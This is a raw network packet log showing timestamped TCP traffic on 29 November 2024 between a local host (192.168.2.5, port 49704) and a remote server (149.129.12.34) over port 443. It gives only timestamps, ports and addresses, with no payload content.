Nov 29, 2024 15:45:49.008596897 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.180543900 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.180567026 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.180636883 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.180653095 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.180681944 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.180695057 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.186003923 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.186021090 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.186089039 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.186098099 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.186111927 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.186141968 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.191441059 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.191458941 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.191519022 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.191525936 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.191610098 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.197033882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.197104931 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.197107077 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.197129965 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.197154999 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.197169065 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.201905966 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.201922894 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.201980114 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.201989889 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.202049971 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.207046986 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.207062960 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.207139015 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.207146883 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.207209110 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.212755919 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.212769985 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.212827921 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.212835073 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.212893963 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.216785908 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.218139887 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.218154907 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.218213081 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.218220949 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.218270063 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.252271891 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.391321898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.391366005 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.391513109 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.391525984 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.391617060 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.396837950 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.396853924 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.396908998 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.396917105 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.396955013 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.402389050 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.402405024 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.402475119 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.402483940 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.402522087 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.407237053 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.407253027 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.407310963 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.407320976 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.407371044 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.412794113 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.412811995 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.412893057 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.412899971 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.414503098 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.418323994 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.418340921 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.418396950 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.418405056 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.418481112 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.423544884 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.423563957 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.423643112 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.423650026 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.425868034 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.429157019 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.429173946 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.429253101 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.429260015 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.430501938 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.438847065 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.661762953 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.661780119 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.661825895 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.661891937 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.661904097 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.661932945 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.661953926 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.667135000 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.667152882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.667227030 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.667236090 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.667305946 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.671982050 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.672020912 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.672080994 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.672089100 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.672132969 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.677613974 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.677632093 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.677685976 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.677692890 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.677777052 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.683041096 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.683058023 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.683108091 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.683115959 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.683170080 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.688832045 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.688848019 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.688915014 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.688922882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.688961983 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.693872929 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.693890095 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.693937063 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.693943024 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.694016933 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.698832035 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.698848963 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.698918104 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.698925972 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.699063063 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.700623035 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.872359037 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.872383118 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.872443914 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.872456074 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.872467995 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.872499943 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.877679110 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.877696991 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.877758026 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.877765894 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.878279924 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.883263111 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.883280993 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.883332968 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.883339882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.883380890 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.888137102 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.888153076 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.888215065 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.888222933 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.888262987 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.893640041 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.893655062 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.893712997 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.893721104 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.893934965 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.899235964 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.899252892 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.899311066 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.899321079 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.899364948 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.904412031 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.904428005 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.904475927 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.904484987 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.904548883 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.909979105 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.909996986 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.910031080 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.910039902 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.910074949 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.910084963 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.086843014 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.086878061 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.087019920 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.087043047 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.089494944 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.093157053 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.093178988 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.093235016 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.093244076 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.093276978 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.098453045 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.098479033 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.098536968 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.098543882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.098573923 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.104077101 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.104103088 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.104171038 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.104177952 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.104207039 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.109025002 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.109047890 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.109090090 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.109097958 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.110482931 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.114391088 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.114417076 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.114480019 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.114486933 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.116503954 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.119594097 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.119621992 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.119692087 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.119699001 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.119735003 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.125021935 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.125047922 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.125088930 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.125102997 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.125129938 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.125144005 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.298424006 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.298450947 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.298580885 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.298605919 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.301847935 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.303086042 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.303103924 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.303147078 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.303154945 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.306494951 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.308615923 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.308631897 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.308689117 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.308696032 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.310493946 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.314305067 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.314320087 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.314383984 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.314414978 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.314485073 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.319086075 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.319108963 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.319169044 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.319176912 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.322499037 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.324739933 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.324764967 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.324810028 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.324815989 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.324835062 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.326491117 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.330270052 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.330298901 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.330337048 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.330343962 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.330374002 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.330382109 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.335429907 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.335455894 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.335503101 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.335510015 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.338491917 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.508949041 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.508972883 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.509016991 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.509032965 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.509053946 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.509067059 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.513757944 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.513783932 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.513824940 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.513829947 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.513878107 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.519571066 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.519592047 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.519617081 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.519622087 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.519648075 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.519666910 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.524739981 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.524765015 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.524799109 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.524805069 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.524821043 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.524840117 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.529664040 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.529691935 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.529717922 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.529723883 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.529746056 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.529772997 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.535347939 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.535370111 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.535419941 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.535428047 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.535448074 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.535464048 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.540977955 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.541002035 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.541049004 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.541055918 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.541101933 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.546155930 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.546169996 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.546211004 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.546217918 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.546242952 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.546257973 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.546358109 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.719377995 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.719407082 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.719505072 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.719536066 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.719583035 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.724523067 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.724539042 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.724615097 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.724622965 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.724670887 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.729974985 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.729991913 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.730046988 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.730053902 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.730210066 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.734855890 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.734874010 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.734931946 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.734940052 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.734985113 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.740467072 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.740494013 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.740531921 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.740540028 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.740562916 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.740572929 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.745914936 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.745930910 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.745986938 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.745999098 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.746042013 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.751508951 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.751524925 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.751580954 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.751589060 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.751629114 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.753681898 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.756761074 CET	443	49704	149.129.12.34	192.168.2.5
